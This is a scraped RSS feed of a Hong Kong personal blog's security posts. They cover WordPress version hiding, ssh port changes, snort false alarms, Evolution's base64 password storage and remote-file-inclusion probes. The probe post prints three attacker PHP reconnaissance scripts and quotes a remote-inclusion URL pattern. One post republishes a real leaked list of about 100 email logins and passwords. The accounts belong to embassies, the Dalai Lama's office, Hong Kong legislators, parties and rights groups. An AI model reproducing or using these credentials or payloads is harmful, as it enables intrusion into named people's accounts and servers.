狗爺語錄 » Security http://me.abelcheung.org 吠盡不平事 Sun, 09 May 2010 20:28:54 +0000 http://wordpress.org/?v=2.9.2 en hourly 1 Hiding WordPress version has no future http://me.abelcheung.org/2009/07/12/hiding-wordpress-version-has-no-future/ http://me.abelcheung.org/2009/07/12/hiding-wordpress-version-has-no-future/#comments Sat, 11 Jul 2009 16:33:34 +0000 Abel http://me.abelcheung.org/?p=714 “Replace WP-Version” WordPress plugin (english translation), which tries to mangle or simply hide WordPress v[......]

(Continue reading...)

]]> Yesterday I came across this “Replace WP-Version” WordPress plugin (english translation), which tries to mangle or simply hide WordPress version declaration in feeds and web pages.

For example, such HTML is usually found in blog header:

<meta name="generator" content="WordPress 2.6.5" />

Broadcasting version is generally believed to be a sore point in blog security — it invited crackers to determine easily which blog is exploitable, thus the existance of such plugins. It reminds me about a plugin I have written for myself before, for similar purpose. But on second thought, I didn’t publish and advertise it. Why?

Version can be decided though other means

Since recent WordPress releases (not very recent though), WordPress also emit versions in javascript links. Take my own blog for example:

<script type='text/javascript' src='http://me.abelcheung.org/wp-includes/js/prototype.js?ver=1.6'></script>
<script type='text/javascript' src='http://me.abelcheung.org/wp-includes/js/scriptaculous/wp-scriptaculous.js?ver=1.8.0'></script>
<script type='text/javascript' src='http://me.abelcheung.org/wp-includes/js/scriptaculous/effects.js?ver=1.8.0'></script>
<script type='text/javascript' src='http://me.abelcheung.org/wp-includes/js/jquery/jquery.js?ver=1.2.6'></script>

With javascript versioning, WordPress version can be approximately determined. Even worse, these declarations can’t be disabled. That means just hiding WordPress version is not effective anymore, regardless of other reasons.

Exploits are generic enough to ignore any versioning

While WordPress fanboys are retarded enough to declare any security measure as “obscurity”, this one is probably right. Version hiding is very likely defenceless against most exploits, which simply tries every possible attack method. This renders version hiding pointless.

It affects functionality of other plugins

Some other plugins do check WordPress version in order to behave differently. Take a look at the comment of bs-wp-noversion plugin (which is yet another version hiding plugin). WordPress rendered broken is a possibility if version is changed or hidden.

]]> http://me.abelcheung.org/2009/07/12/hiding-wordpress-version-has-no-future/feed/ 2 ssh 伺服器強化 http://me.abelcheung.org/2009/06/25/ssh-%e4%bc%ba%e6%9c%8d%e5%99%a8%e5%bc%b7%e5%8c%96/ http://me.abelcheung.org/2009/06/25/ssh-%e4%bc%ba%e6%9c%8d%e5%99%a8%e5%bc%b7%e5%8c%96/#comments Wed, 24 Jun 2009 17:48:10 +0000 Abel http://me.abelcheung.org/?p=710 用心管理伺服器的管理員都會清楚，ssh 伺服器長年累月都會被全世界千千萬萬電腦使用不同的使用者名稱 / 密碼組合，不斷嘗試進入。如果沒有收緊密碼的品質，很易就被人在伺服器內玩個天翻地覆，不亦樂乎。固然制止的方法非常多，就好像我自己，以往是使用 任何有用心管理伺服器的管理員都會清楚，ssh 伺服器長年累月都會被全世界千千萬萬電腦使用不同的使用者名稱 / 密碼組合，不斷嘗試進入。如果沒有收緊密碼的品質，很易就被人在伺服器內玩個天翻地覆，不亦樂乎。固然制止的方法非常多，就好像我自己，以往是使用 denyhosts 的；但最簡單又有效，應該是更改 port number。因為絕大多數蠕蟲其實都笨得要死，試名稱和密碼，往往只會找 port 22 來不斷試，只要改了 port，立即一片安寧。

不過改了 port，以後使用時是否每次都要用 ssh -p 1234567 那麼麻煩？其實不用那麼煩，只要改一下設定，以後就可一勞永逸。假設需要經常進入兩部不同的伺服器，一個 ssh 用 port 1234，另一個用 port 34567，可以在 ~/.ssh/config 內加入：

Host myhost1
  Hostname blah.myexample.com
  Port 1234

Host myhost2
  Hostname foobar.example12345.info
  Port 34567

以後用 Linux / Unix 進入兩部主機只需要用 ssh myhost1 和 ssh myhost2 就可以，不用記 port。至於 Windows，雖然每個 ssh 程式 (例如 putty) 的設定介面有所不同，但都很輕易就可以改 port。而且這個方法連帶所有依賴 ssh 的服務都一併搞定，例如 subversion 配合 ssh (svn+ssh://)，就不需要好像 subversion 手冊所教那樣用些又煩又容易忘記的途徑處理。

應付有心人

對於人就沒有那麼輕鬆，很大程度上是因為可以進行 port scan，找出更改到哪個 port，然後繼續測試。規避一些 port scanner 經常掃描的 port，特別是 nmap，是可以騙倒一些大笨蛋，但醒目一點的，即使是用防火牆防備 port scan，也只是權宜之計，花多點時間和耐性始終是找得出用哪個 port 的。port knocking 好像未有足夠大眾認知， 而且老實說，我對它還是有點戒心。(如果它忽然發傻，那我以後要怎樣進入伺服器？) 所以，到最後加強密碼的質素始終是不二法門。

另外有個稍為麻煩的方法可以採用，就是用防火牆限定某些 IP range 才可進入，像自己用的 ISP、工作地點等等，不過這個 range 不可謂不大，為了它可能要加數十條規則也說不定，不容易做。

世上任何一部伺服器，只要連上互聯網，就有可能被攻擊，除非像人們所說般，關掉伺服器，鎖進夾萬，那才是最安全的。同時，這世上也從未出現過萬能的防御 (有的話，發明的人或許是這世上最有錢的人了)，暫時唯有 defence in depth，將各式有用的防御組合起來，才是王道。就目前來看，改 port 加上防火牆是最節省資源的方式，雖然不表示防火牆容易設定。為節省腦汁，我嘗試過將全香港的 IP range 都加入防火牆。能夠阻擋所有外國的攻擊已算不錯，但那些規則足足有數百條之譜！

2009-08-07: 這篇 mailing list 的回應提供了方法令在 Windows 之下用各種 subversion client 都可以接受 22 以外的 port。

]]> http://me.abelcheung.org/2009/06/25/ssh-%e4%bc%ba%e6%9c%8d%e5%99%a8%e5%bc%b7%e5%8c%96/feed/ 3 Pwnie award http://me.abelcheung.org/2008/08/22/pwnie-award/ http://me.abelcheung.org/2008/08/22/pwnie-award/#comments Thu, 21 Aug 2008 22:39:00 +0000 Abel http://me.abelcheung.org/?p=548 給 WordPress 的這個獎姍姍遲來，對我而言有點遲過頭了，雖然總好過沒有。但頒這個獎也是實情。君不見在 SecurityFocus 個個星期它都榜上有名！還要個個大鑊，即使不是 WordPress 本身，也是一些很多人用的[......]

(Continue reading...)

]]> 真是不知這個用中文怎樣說，「千瘡百孔泛黑大獎」也不足言其英文含意之萬一。給 WordPress 的這個獎姍姍遲來，對我而言有點遲過頭了，雖然總好過沒有。但頒這個獎也是實情。君不見在 SecurityFocus 個個星期它都榜上有名！還要個個大鑊，即使不是 WordPress 本身，也是一些很多人用的 plugin 漏洞引致整個 blog 內爆。淨是旁邊的 blog list，近期也有一個被黑了，另一個被嚇得急急更新。

還想 WordPress 做 audit 的真在太妄想，至少兩年半前投訴到現在，要做的早做了。phpNuke，phpBB，WordPress 這老中青三代都該永久擁有這個獎，以誌它們將 OSS 的 many eyeball theory 徹底推翻。

]]> http://me.abelcheung.org/2008/08/22/pwnie-award/feed/ 1 近期看到的所謂 “Web Attack” http://me.abelcheung.org/2008/08/07/%e8%bf%91%e6%9c%9f%e7%9c%8b%e5%88%b0%e7%9a%84%e6%89%80%e8%ac%82-web-attack/ http://me.abelcheung.org/2008/08/07/%e8%bf%91%e6%9c%9f%e7%9c%8b%e5%88%b0%e7%9a%84%e6%89%80%e8%ac%82-web-attack/#comments Wed, 06 Aug 2008 20:17:54 +0000 Abel http://me.abelcheung.org/?p=533 這一兩星期經常看到 Apache log 中出現和 remote file inclusion 有關的「攻擊」，一時好奇，抓其中一個檔案來看一看，赫然發現並不是盲目直接攻擊，反而像大量搜集伺服器資料。拿其中一個看到的檔案為例：

[......]

(Continue reading...)

]]> 這一兩星期經常看到 Apache log 中出現和 remote file inclusion 有關的「攻擊」，一時好奇，抓其中一個檔案來看一看，赫然發現並不是盲目直接攻擊，反而像大量搜集伺服器資料。拿其中一個看到的檔案為例：

<?
echo "BraT<br>";
$alb = @php_uname();
$alb2 = system(uptime);
$alb3 = system(id);
$alb4 = @getcwd();
$alb5 = getenv("SERVER_SOFTWARE");
$alb6 = phpversion();
$alb7 = $_SERVER['SERVER_NAME'];
$alb8 = gethostbyname($SERVER_ADDR);
$alb9 = get_current_user();
$os = @PHP_OS;
echo "os: $os<br>";
echo "uname -a: $alb<br>";
echo "uptime: $alb2<br>";
echo "id: $alb3<br>";
echo "pwd: $alb4<br>";
echo "user: $alb9<br>";
echo "phpv: $alb6<br>";
echo "SoftWare: $alb5<br>";
echo "ServerName: $alb7<br>";
echo "ServerAddr: $alb8<br>";
echo "NigeriaN HackerS TeaM<br>";
exit;
?>

另一個也差不多：

<?php
function ConvertBytes($number)
{
        $len = strlen($number);
        if($len < 4)
        {
                return sprintf("%d b", $number);
        }
        if($len >= 4 && $len <=6)
        {
                return sprintf("%0.2f Kb", $number/1024);
        }
        if($len >= 7 && $len <=9)
        {
                return sprintf("%0.2f Mb", $number/1024/1024);
        }
        return sprintf("%0.2f Gb", $number/1024/1024/1024);
}

echo "kangkung<br>";
$un = @php_uname();
$up = system(uptime);
$id1 = system(id);
$pwd1 = @getcwd();
$sof1 = getenv("SERVER_SOFTWARE");
$php1 = phpversion();
$name1 = $_SERVER['SERVER_NAME'];
$ip1 = gethostbyname($SERVER_ADDR);
$free1= diskfreespace($pwd1);
$free = ConvertBytes(diskfreespace($pwd1));
if (!$free) {$free = 0;}
$all1= disk_total_space($pwd1);
$all = ConvertBytes(disk_total_space($pwd1));
if (!$all) {$all = 0;}
$used = ConvertBytes($all1-$free1);
$os = @PHP_OS;

echo "kangkung was here ..<br>";
echo "uname -a: $un<br>";
echo "os: $os<br>";
echo "uptime: $up<br>";
echo "id: $id1<br>";
echo "pwd: $pwd1<br>";
echo "php: $php1<br>";
echo "software: $sof1<br>";
echo "server-name: $name1<br>";
echo "server-ip: $ip1<br>";
echo "free: $free<br>";
echo "used: $used<br>";
echo "total: $all<br>";
exit;

再來第三個，都是一樣的東西：

<?
echo "ALBANIA<br>";
$alb = @php_uname();
$alb2 = system(uptime);
$alb3 = system(id);
$alb4 = @getcwd();
$alb5 = getenv("SERVER_SOFTWARE");
$alb6 = phpversion();
$alb7 = $_SERVER['SERVER_NAME'];
$alb8 = gethostbyname($SERVER_ADDR);
$alb9 = get_current_user();
$os = @PHP_OS;
echo "os: $os<br>";
echo "uname -a: $alb<br>";
echo "uptime: $alb2<br>";
echo "id: $alb3<br>";
echo "pwd: $alb4<br>";
echo "user: $alb9<br>";
echo "phpv: $alb6<br>";
echo "SoftWare: $alb5<br>";
echo "ServerName: $alb7<br>";
echo "ServerAddr: $alb8<br>";
echo "UNITED ALBANIANS aka ALBOSS PARADISE<br>";
exit;
?>

特別之處是，它們非常針對 PHP，嘗試哄騙 PHP 信任攻擊者提供的 DOCUMENT_ROOT 來取代 Apache 那個，全部都是在 URL 後加上像 "?DOCUMENT_ROOT=http://www.example.com/xxxxxx.txt" 的部份，而且這個所謂的 .txt 其實是 PHP 檔。我和這位仁兄一樣，一時間找不到是哪個漏洞會用 DOCUMENT_ROOT。

在 User Agent 方面，九成九都是 libwww-perl，看到比較得人驚的只有這個。希望是偽造的吧，如果是真的，那就笑不出了，因為那表示這個攻擊無遠弗屆……

]]> http://me.abelcheung.org/2008/08/07/%e8%bf%91%e6%9c%9f%e7%9c%8b%e5%88%b0%e7%9a%84%e6%89%80%e8%ac%82-web-attack/feed/ 0 大使館、自由黨、民協電郵密碼原文 http://me.abelcheung.org/2008/07/03/%e5%a4%a7%e4%bd%bf%e9%a4%a8%e3%80%81%e8%87%aa%e7%94%b1%e9%bb%a8%e3%80%81%e6%b0%91%e5%8d%94%e9%9b%bb%e9%83%b5%e5%af%86%e7%a2%bc%e5%8e%9f%e6%96%87/ http://me.abelcheung.org/2008/07/03/%e5%a4%a7%e4%bd%bf%e9%a4%a8%e3%80%81%e8%87%aa%e7%94%b1%e9%bb%a8%e3%80%81%e6%b0%91%e5%8d%94%e9%9b%bb%e9%83%b5%e5%af%86%e7%a2%bc%e5%8e%9f%e6%96%87/#comments Wed, 02 Jul 2008 20:19:09 +0000 Abel http://me.abelcheung.org/?p=368 自從 Dan Egerstad 將各大使館，還有香港自由黨、民協等等的人的電郵密碼發佈後，雖然 ethics 的確是差了點，但這種人註定好心無好報：網頁果然被查封，他本人也被各國的低能無腦政治家套上駭客的帽子。現在特地將整篇 password list 一字不漏複製如下（連格式也完全不更改），作為後世警惕：

[......]

(Continue reading...)

]]> 自從 Dan Egerstad 將各大使館，還有香港自由黨、民協等等的人的電郵密碼發佈後，雖然 ethics 的確是差了點，但這種人註定好心無好報：網頁果然被查封，他本人也被各國的低能無腦政治家套上駭客的帽子。現在特地將整篇 password list 一字不漏複製如下（連格式也完全不更改），作為後世警惕：

Here is a list with working passwords to exactly 100 email-accounts to Embassies and Governments around the world. Yes it’s the real deal and still working when we are posting this. So why in the world would anyone publish this kind of information? Because seriously, I’m not going to call the president of Iran and tell him that I got access to all their embassies. I’m DEranged, not suicidal! He has bombs and stuff…

Experience tells me that even if I would contact everyone on this list most are not going to listen or perhaps just blame me for being an evil hacker and that no one else would ever find this out. WTF does it take for people to learn!?

Can’t throw it away, it’s only a matter of time until someone else gets the same information. Or wait, does someone else have this already? For how long have they had it? What are they doing with it?

Selling it would probably make me a fair amount of money but that ain’t my style and I’m sure people have disappeared for less.

After trying every scenario in my head I end up dead, in jail or worse.

So fuck it! Here is everything you need to read classified email and fuck up some serious International business. Hopefully this will put light on the security problems that are never talked about and get at least this fixed with a speed that you never seen your government work before. As a Swedish citizen I can’t give this information to anyone without getting into trouble, so instead I’m giving it to everyone.

I would like to remind everyone that using ANY of this is a serious crime and I trust that nothing here will be used, ever! If you do anyway you are a fucker, idiot, moron, lamer, scriptkiddie, criminal and obviously don’t get the point of this publishing. Private and company accounts gathered are NOT published, we will NEVER put a threat on your company or personal life!

The thousands of classified mail we have read however are for our own pleasure only so MUST or any such organizations don’t even bother, they are GONE! Any raid of my place will only find you loads of beer and prove that you don’t get the point of DEranged. Swedish cops need more resources and not more job.

Now let’s see how many angry mails I will get before I get my free vacation to Guantanamo Bay paid by Mr. Bush.

//D

Who | IP to pop3 | Login | Password

Indian Embassy in Sweden 81.228.8.31 u81004859 Brdv8H5j

Russian Embassy in Sweden 81.228.11.36 u86119749 y9z8ApZp
Kazakhstan Embassy in Russia 81.176.67.157 akmaral@kazembassy.ru 86rb43
Kazakhstan Embassy in Russia 81.176.67.157 alla@kazembassy.ru vhs35
Kazakhstan Embassy in Russia 81.176.67.157 askarest@kazembassy.ru dol57
Kazakhstan Embassy in Russia 81.176.67.157 b.kuatbekova@kazembassy.ru bk145
Kazakhstan Embassy in Russia 81.176.67.157 baimenche@kazembassy.ru 1956
Kazakhstan Embassy in Russia 81.176.67.157 den@kazembassy.ru bek70
Kazakhstan Embassy in Russia 81.176.67.157 emo@kazembassy.ru art35
Kazakhstan Embassy in Russia 81.176.67.157 galikhin@kazembassy.ru aGC4jyf

The Office of Dalai Lama 65.19.137.2 tlc@dalailama.com tsephell
The Office of Dalai Lama 65.19.137.2 tntaklha@dalailama.com dudul5425
The Office of Dalai Lama 65.19.137.2 chhimerigzing@dalailama.com ylypp610
Indian Embassy in Oman 65.109.245.38 da da01877y
Uzbekistan Consulate in France 57.66.151.179 Parij_C p2a2r0i9j
Uzbekistan Consulate in Germany 57.66.151.179 Berlin_C b5a6h7o8r9
Uzbekistan Consulate in India 57.66.151.179 Dehli_C i1n9d5u6
Uzbekistan Consulate in New York 57.66.151.179 Nyu_York_UN t2r7d31ln8
Uzbekistan Consulate in South Korea 57.66.151.179 Seul_C s1e7u0l7c

Uzbekistan Consulate in USA 57.66.151.179 Vashington_c s7a9s5h3a1
Uzbekistan Embassy in Afghanistan 57.66.151.179 AfghanQ a1f2g3h4a5n6q
Uzbekistan Embassy in Afghanistan 57.66.151.179 afghanm a1f1g0h1a0n2m
Uzbekistan Embassy in Belgium 57.66.151.179 Bryussel b1r3y0u2s1
Uzbekistan Embassy in China 57.66.151.179 Pekin e1q8b3n7a2
Uzbekistan Embassy in Dubai 57.66.151.179 dubay b2r7s1d3y4
Uzbekistan Embassy in France 57.66.151.179 Parij u3t1k9i6r2
Uzbekistan Embassy in Germany 57.66.151.179 Frankfurt a8h7f6y5r4
Uzbekistan Embassy in Indonesia 57.66.151.179 jakarta t2d7j3a4m9

Uzbekistan Embassy in Israel 57.66.151.179 Tel_Aviv m1u9z5r6ob
Uzbekistan Embassy in Japan 57.66.151.179 Tokio h5o6n7d8a9
Uzbekistan Embassy in Kuwait 57.66.151.179 kuwait k3u0w0a1i0t6
Uzbekistan Embassy in Kyrgyzstan 57.66.151.179 bishkek a1h4e0y2p1
Uzbekistan Embassy in Latvia 57.66.151.179 Riga z8e2t7w1×5
Uzbekistan Embassy in Malaysia 57.66.151.179 Malayziya g6h8w0e2d3
Uzbekistan Embassy in Pakistan 57.66.151.179 Islomobod y7j2l3b8h1
Uzbekistan Embassy in Poland 57.66.151.179 varshava p0o4l1s1h0a3

Uzbekistan Embassy in Russia 57.66.151.179 Moskva z1a8f0a2r1
Uzbekistan Embassy in Saudi Arabia 57.66.151.179 Jidda j3i1d7d9a5
Uzbekistan Embassy in South Korea 57.66.151.179 seul z1y9×2e0le
Uzbekistan Embassy in Thailand 57.66.151.179 Bangkok n7o8d2i0r5
Uzbekistan Embassy in The Netherlands 57.66.151.179 Amsterdam h1o5l0a2n1
Uzbekistan Embassy in Turkey 57.66.151.179 Anqara g5s2b7×1o4
Uzbekistan Embassy in Turkey 57.66.151.179 Istanbul b5c2n3f4v1
Uzbekistan Embassy in Turkmenistan 57.66.151.179 Ashxobod d7o1m5l6a2

Uzbekistan Embassy in Ukraine 57.66.151.179 Kiev s5c4h3u2h1
Uzbekistan Embassy in United Kingdom 57.66.151.179 London w9r3y7g4d1
Uzbekistan Embassy in United Kingdom 57.66.151.179 London_Elchi l9o8n7d6n5
Uzbekistan Embassy in USA 57.66.151.179 vashington_m e1r2k3i4n5
Uzbekistan Embassy in Uzbekistan 57.66.151.179 toshkent epyan2006
Uzbekistan Embassy in Uzbekistan 57.66.151.179 Toshkent_M 3456789
Uzbekistan Foreign Affairs 57.66.151.179 Qohira 5gx7n1e4w9
Iran Embassy in Ghana 217.172.99.19 iranemb_accra@mfa.gov.ir accra
Iran Embassy in Kenya 217.172.99.19 iranemb_kenya@mfa.gov.ir kenya

Iran Embassy in Oman 217.172.99.19 iranemb_muscat@mfa.gov.ir muscat
Iran Embassy in Tunisia 217.172.99.19 iranemb_tunisia@mfa.gov.ir tunisia
Iran Ministry of Foreign Affairs 217.172.99.19 bagheripour@mfa.gov.ir amir1368
Kazakhstan Embassy in Italy 213.21.159.23 kazakstan.emb@agora.it rfywkth
Kazakhstan Embassy in Egypt 213.131.64.229 kazaemb piramid
Kyrgyztan Embassy in Iran 212.42.96.15 embiran asdfgh
Kyrgyztan Embassy in kazakhstan 212.42.96.15 kaz_emb W34#eEDd
Indian Embassy in Italy 212.34.224.157 m0006614 srpq86m
Indian Embassy in Belgium 212.100.160.114 commercial@indembassy.be india01

Mongolian Embassy in USA 209.213.221.249 esyam@mongolianembassy.us temp
Mongolian Embassy in USA 209.213.221.249 j.mendee@mongolianembassy.us temp
Mongolian Embassy in USA 209.213.221.249 n.tumenbayar@mongolianembassy.us temp
UK Visa Application Centre in Nepal 208.109.119.54 vfsuknepal@vfs-uk-np.com Password
Kazakhstan Embassy in Japan 203.216.5.113 embkazjp nf5!3LeG
India National Defence Academy 203.199.162.245 mis misadmin
Hong Kong Human Rights Monitor 203.161.254.182 po@hkhrm.org.hk T5a*4V#K
Hong Kong Legislative Council member 203.124.10.110 billywong@mandytam.com 232880
Hong Kong Legislative Council member 203.124.10.110 tim@mandytam.com 220866

Hong Kong Legislative Council member 202.66.159.18 poppy@ronnytong.org rtppy346
One Country Two Systems Research Institute of China 202.66.107.12 kenchan@octs.org.hk 153kenchan
Liaison Office of the Dalai Lama for Japan & East-Asia 202.208.210.8 tibet02 TIBET310
Hong Kong Legislative Council member 202.181.132.82 margaret@margaretng.com sarah#
Hong Kong Legislative Council member 202.181.132.68 hazelpun@sinchungkai.org.hk 9cxh6gpy
Hong Kong Legislative Council member 202.181.132.68 chungkai@sinchungkai.org.hk Yvonne0328
Hong Kong Democratic Party 202.177.28.170 twk@dphk.org password
Hong Kong Liberal Party 202.123.79.164 miriamlau 123456

Hong Kong Liberal Party 202.123.79.164 tinyan 12345678
Hong Kong Liberal Party 202.123.79.164 pauline 25334264
Hong Kong Liberal Party 202.123.79.164 wilkin x105×10a
Hong Kong Liberal Party 202.123.79.164 joy 26606624
Hong Kong Association for Democracy & People’s Livelihood Party 202.123.216.231 hmt@adpl.org.hk hmt27622676
Hong Kong Association for Democracy & People’s Livelihood Party 202.123.216.231 info@adpl.org.hk info27823137

Hong Kong Association for Democracy & People’s Livelihood Party 202.123.216.231 iggyng@adpl.org.hk igg27823137
Hong Kong Association for Democracy & People’s Livelihood Party 202.123.216.231 fcc@adpl.org.hk fcc22674595
Indian Embassy in China 202.109.110.87 amb@indianembassy.org.cn 1234
Indian Embassy in China 202.109.110.87 amboff@indianembassy.org.cn 1234
Tajikistan Embassy in China 202.106.46.87 tjkemb w4u7e3a2
Indian Embassy in Germany 194.95.249.247 rb1002p1 consind1
Indian Embassy in Germany 194.95.249.247 rb1002p15 com15ind

Kazakhstan Consulate General in China 194.67.23.102 kzconsulshanghai 987654
Japan Embassy in ? 194.226.128.37 emb_japan_ast4 123456
Indian Embassy in Finland 193.229.0.46 kv7198 npyrhdjj
Hong Kong Goverment Information Service Department Goverment 147.8.219.202 erika.chau 60777699
China Civil Human Right Front 123.242.224.80 contact@civilhrfront.org 17891894
China Civil Human Right Front 123.242.224.80 secretariat@civilhrfront.org 17891894
Defence Research & Development Organisation Govt. Of India, Ministry of Defence jpsingh@drdo.com password+1
Indian Embassy in USA amb@indianembassy.org 1234

Sorry for the bad layout, we will have to fix that =)

]]> http://me.abelcheung.org/2008/07/03/%e5%a4%a7%e4%bd%bf%e9%a4%a8%e3%80%81%e8%87%aa%e7%94%b1%e9%bb%a8%e3%80%81%e6%b0%91%e5%8d%94%e9%9b%bb%e9%83%b5%e5%af%86%e7%a2%bc%e5%8e%9f%e6%96%87/feed/ 0 Evolution 很安全 http://me.abelcheung.org/2008/06/22/evolution-%e5%be%88%e5%ae%89%e5%85%a8/ http://me.abelcheung.org/2008/06/22/evolution-%e5%be%88%e5%ae%89%e5%85%a8/#comments Sun, 22 Jun 2008 15:16:27 +0000 Abel http://me.abelcheung.org/2008/06/22/evolution-%e5%be%88%e5%ae%89%e5%85%a8/ cat ~/.gnome2_private/Evolution [Passwords-Mail] imap:__xxxxx@mail.xxxxx.com_=Y2NuOTExNQ== 不用找 de[......]

(Continue reading...)

]]> 這已經不是新鮮事了，很久以前就有人提過：原來 Evolution 用 base64 來儲存密碼。

# cat ~/.gnome2_private/Evolution
[Passwords-Mail]
imap:__xxxxx@mail.xxxxx.com_=Y2NuOTExNQ==

不用找 decoder 了，Y2NuOTExNQ== 用 base64 碼還原後是 ccn9115，是我其中一個電郵戶口開戶時的密碼。我有三年沒碰過 evolution 了，所以密碼還保留着。那它靠甚麼來保護？原來是檔案權限。

既然檔案權限就「足夠了」，又為甚麼要無聊到畫蛇添足，用 base64？沒人知道了。也許想和 outlook 兼容吧？

]]> http://me.abelcheung.org/2008/06/22/evolution-%e5%be%88%e5%ae%89%e5%85%a8/feed/ 0 被 snort 整蠱了 http://me.abelcheung.org/2008/06/10/%e8%a2%ab-snort-%e6%95%b4%e8%a0%b1%e4%ba%86/ http://me.abelcheung.org/2008/06/10/%e8%a2%ab-snort-%e6%95%b4%e8%a0%b1%e4%ba%86/#comments Mon, 09 Jun 2008 23:48:22 +0000 Abel http://me.abelcheung.org/2008/06/10/%e8%a2%ab-snort-%e6%95%b4%e8%a0%b1%e4%ba%86/ 因為有些東西想測試，早幾天在自己的伺服器裝了 snort，結果卻是被它玩了一頓。昨天看看 snort 寄給我的 mail，有大量 robots.txt access：

 # of  from             to               method
=========================================================================
   xx  xxx.xxx.xxx.xxx   202.134.73.141   WEB-MISC robots.txt access
   xx  xxx.xxx.xxx.xxx   202.134.73.141   WEB-MISC robots.txt access
......

[......]

(Continue reading...)

]]> 因為有些東西想測試，早幾天在自己的伺服器裝了 snort，結果卻是被它玩了一頓。昨天看看 snort 寄給我的 mail，有大量 robots.txt access：

 # of  from             to               method
=========================================================================
   xx  xxx.xxx.xxx.xxx   202.134.73.141   WEB-MISC robots.txt access
   xx  xxx.xxx.xxx.xxx   202.134.73.141   WEB-MISC robots.txt access
......

OK, 讀 robots.txt 是很正常的一回事，很清楚那是 false alarm，但前幾天的 log 都有兩個不尋常的項目：

 # of  from             to               method
=========================================================================
   xx  xxx.xxx.xxx.xxx  202.134.73.141   WEB-PHP Mambo upload.php access
   xx  xxx.xxx.xxx.xxx  202.134.73.141   WEB-PHP IGeneric Free Shopping Cart page.php access

不單止數目都很高，最要命的是：全部都是我家中的 IP 地址發出的？因為 ISP 的緣故，家中的 IP 每天會改至少一次，但 log 裏的 IP address 和日期全部吻合！那時心就慌了，會不會是我的電腦被種了木馬而自己不知道？特別是近幾天都在用 flock，不會是被人借 flock 入侵吧？想想不對頭，立即將 flock 關掉。(現在想來，自己也覺自己可笑)

之後再看，還有更令我膽顫心驚的：

 # of  from             to               method
=========================================================================
   xx  xxx.xxx.xxx.xxx  202.134.73.141   MISC rsyncd overflow attempt

令我嚇壞的是，剛好我在那一天用過 rsync。其它日子沒有用過 rsync，也沒有這一句。第一個念頭：我的電腦被種了 keylogger，所以我用過甚麼服務全被人知道了？所有戶口的密碼怎麼辦？完了。

過一會後，再定下心神，想想有沒有別的可能性。抱着最後一絲希望，去看看這些警告代表甚麼意思。在 有關的 snort 規則中的全文是：

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:”WEB-PHP Mambo upload.php access”; flow:to_server,established; uricontent:”/upload.php”; reference:bugtraq,6572; classtype:web-application-activity; sid:2077; rev:2;)
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:”WEB-PHP IGeneric Free Shopping Cart page.php access”; flow:to_server,established; uricontent:”/page.php”; nocase; reference:bugtraq,9773; classtype:web-application-activity; sid:2410; rev:2;)

妖～!果然全部是 false alarm。上面設定的意思是，只要詢問 web server 的 URL 中含有 “/page.php” 或 “/upload.php”，就會發出警報。這算甚麼？這世界上有 page.php 或 upload.php 的軟件何其多！恐怕 snort 還有不少這類漁翁撒網的規則吧。

而且 email 中完全不會提任何事件有多嚴重，不會分辨甚麼是 activity、甚麼是 attack，而且將 robots.txt 歸在比 IIS unicode attack 還重要的分類…… 我不知道預設用這種爛設定是為了讓商業軟件有生存空間，還是為了要提醒人必須更改設定以適合自己的需要，但這種爛設定真是會嚇壞新手的。不論如何，這幾句立即就被我用 suppress 去掉了：

suppress gen_id 1, sig_id 1852
suppress gen_id 1, sig_id 2077
suppress gen_id 1, sig_id 2410

總之就像 Vista 的 UAC 一樣，日日都是狼來了。

]]> http://me.abelcheung.org/2008/06/10/%e8%a2%ab-snort-%e6%95%b4%e8%a0%b1%e4%ba%86/feed/ 0 .hk 是最危險的網域？ http://me.abelcheung.org/2008/06/05/hk-%e6%98%af%e6%9c%80%e5%8d%b1%e9%9a%aa%e7%9a%84%e7%b6%b2%e5%9f%9f%ef%bc%9f/ http://me.abelcheung.org/2008/06/05/hk-%e6%98%af%e6%9c%80%e5%8d%b1%e9%9a%aa%e7%9a%84%e7%b6%b2%e5%9f%9f%ef%bc%9f/#comments Thu, 05 Jun 2008 15:51:16 +0000 Abel http://me.abelcheung.org/2008/06/05/hk-%e6%98%af%e6%9c%80%e5%8d%b1%e9%9a%aa%e7%9a%84%e7%b6%b2%e5%9f%9f%ef%bc%9f/ 全世界最危險的網域，比大陸、俄羅斯或者羅馬尼亞等等還要厲害。姑勿論大陸的數字是否準確（幾乎肯定不準），但至少別的國家不會有網絡長城，數字應當是比較準的。 不過再想一下，其實是很正常的。香港人用甚麼態度對待保安問題，有目共睹。Foxy? 媒體炒作的好對象，千夫所指，但有誰會花半[......]

(Continue reading...)

]]> 有點諷刺，.hk 竟然是全世界最危險的網域，比大陸、俄羅斯或者羅馬尼亞等等還要厲害。姑勿論大陸的數字是否準確（幾乎肯定不準），但至少別的國家不會有網絡長城，數字應當是比較準的。

不過再想一下，其實是很正常的。香港人用甚麼態度對待保安問題，有目共睹。Foxy? 媒體炒作的好對象，千夫所指，但有誰會花半秒想想自己？因為是政府才那麼多報紙雜誌攻擊而已，同樣的事，各大小辦公室 + 學校每天不知多少宗，不是依舊一樣？有病毒？有人入侵電腦？電腦還能動呀，管它那麼多？等 hang 機才算吧，反正到時 reboot 便沒事了。偷資料？我看不見，我看不見。認識的人中，有不少都是這樣，直到最後連我自己都一起緊貼社會潮流了。So fashionable.

完全不是如文中所說，因為網域登記公司監管不力，致使網站充滿惡意 ActiveX, JavaScript, worms 等一大堆問題。雖然是流氓公司，但這類問題，那班只會等收錢的人是管不着的。

]]> http://me.abelcheung.org/2008/06/05/hk-%e6%98%af%e6%9c%80%e5%8d%b1%e9%9a%aa%e7%9a%84%e7%b6%b2%e5%9f%9f%ef%bc%9f/feed/ 0 防毒軟件 = 防無聊軟件 http://me.abelcheung.org/2008/04/03/%e9%98%b2%e6%af%92%e8%bb%9f%e4%bb%b6-%e9%98%b2%e7%84%a1%e8%81%8a%e8%bb%9f%e4%bb%b6/ http://me.abelcheung.org/2008/04/03/%e9%98%b2%e6%af%92%e8%bb%9f%e4%bb%b6-%e9%98%b2%e7%84%a1%e8%81%8a%e8%bb%9f%e4%bb%b6/#comments Wed, 02 Apr 2008 20:24:37 +0000 Abel http://me.abelcheung.org/2008/04/03/%e9%98%b2%e6%af%92%e8%bb%9f%e4%bb%b6-%e9%98%b2%e7%84%a1%e8%81%8a%e8%bb%9f%e4%bb%b6/

  • (Continue reading...)

